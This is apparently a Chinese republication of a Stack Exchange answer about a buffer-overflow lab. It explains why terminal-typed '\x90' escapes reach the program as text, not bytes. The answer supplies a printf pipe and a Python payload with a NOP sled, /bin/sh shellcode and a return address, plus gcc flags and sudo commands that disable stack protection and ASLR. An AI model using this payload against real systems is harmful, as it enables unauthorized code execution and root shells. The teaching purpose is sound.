You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

缓冲区溢出测试中\x格式NOP指令存储异常问题问询

缓冲区溢出实验中十六进制转义序列失效的原因与解决办法

你遇到的问题核心是终端Shell不会自动解析C风格的十六进制转义序列,和你用-m32编译32位程序无关,咱们一步步拆解清楚:

核心原因:Shell对输入的处理逻辑

当你在终端直接输入\x90这类字符串时,bash/zsh等Shell会把\、x、9、0这四个字符当作普通ASCII文本传递给程序,完全不会把它们转换成对应的单字节0x90。只有C编译器在编译代码时,才会解析字符串字面量里的\x转义符——终端输入的内容是纯字符流,每个字符都会被单独存储,所以你在内存里看到的0x3039785c,其实是小端序存储的\x90四个字符的ASCII值(\是0x5c,x是0x78,9是0x39,0是0x30)。

至于你用-m32编译32位程序,这本身是正确的操作(32位程序的栈布局更适合入门级缓冲区溢出实验),但它并不是导致转义序列失效的原因。

解决办法:生成真正的字节流输入

要让程序收到0x90这类原始字节,而不是ASCII字符,你需要用能解析转义序列并输出原始字节的工具构造输入:

1. 使用printf命令直接生成

printf支持解析C风格的转义序列,你可以把构造好的payload通过管道传给程序:

printf '\x90\x90\x90...[你的完整shellcode和目标地址]' | ./your_program

这样程序的scanf会读取到真正的0x90字节,而非四个ASCII字符。

2. 用Python脚本构造payload

如果payload比较复杂,用Python构造字节数组会更灵活:

import sys
# 构造NOP滑条 + shellcode + 返回地址(注意32位程序地址是4字节小端序)
nop_sled = b'\x90' * 80  # 根据你的缓冲区大小调整长度
shellcode = b'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
ret_addr = b'\xd2\xff\xff\xbf'  # 示例:32位小端序的0xbfffffd2
payload = nop_sled + shellcode + ret_addr
sys.stdout.buffer.write(payload)

然后运行脚本并把输出传给程序:

python3 payload.py | ./your_program

3. 编译时关闭栈保护机制

为了让缓冲区溢出能成功劫持控制流,你需要关闭GCC的栈保护功能,编译命令要加上这两个参数:

gcc -m32 -fno-stack-protector -z execstack your_program.c -o your_program
  • -fno-stack-protector:关闭栈金丝雀(stack canary),防止编译器检测缓冲区溢出
  • -z execstack:允许栈区域执行代码,否则你的shellcode会因内存权限被拦截

4. 关闭地址空间随机化(ASLR)

Linux默认开启ASLR,会随机化栈地址,导致你硬编码的返回地址失效。可以临时关闭:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

测试完成后可以改回1恢复ASLR:

echo 1 | sudo tee /proc/sys/kernel/randomize_va_space

总结

你之前的误区是把终端输入的字符串和C代码里的字符串字面量混为一谈了——终端输入的是纯字符流,不会被解析转义,必须用printf或Python这类工具生成真正的字节流,才能让shellcode正确存入内存并执行。

内容的提问来源于stack exchange,提问作者aneela

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.29 08:53:02